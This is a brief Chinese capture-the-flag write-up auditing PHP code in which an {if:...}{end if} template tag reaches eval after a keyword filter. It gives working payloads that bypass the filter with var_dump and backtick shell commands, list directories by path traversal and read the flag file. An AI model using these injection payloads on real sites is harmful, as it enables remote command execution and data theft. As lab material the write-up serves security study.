审计代码
传入参数a,进入parserIfLabel函数
发现参数a的模板,a的格式要匹配pattern,如{if:payload}{end if}
可知ifstr是a中匹配的第一组的值,即payload中的值
并且经过danger_key函数过滤
继续往下看
Ifstr经过很多过滤替换,最终里面不包含大括号就会进入一个eval语句
漏洞正是出现在这里
往回看danger_key过滤函数
好家伙,不仅将一大堆关键字符替换成*,还进行了二次检查
但是可以用var_dump()函数绕过
构造a={if:var_dump(`ls`)}%20{end%20if}
页面出现
说明命令成功执行
a={if:var_dump(`ls%20../../../../../`)}%20{end%20if} 进行目录穿越
发现flag
a={if:var_dump(`cat%20../../../../../flag`)}%20{end%20if}
查看flag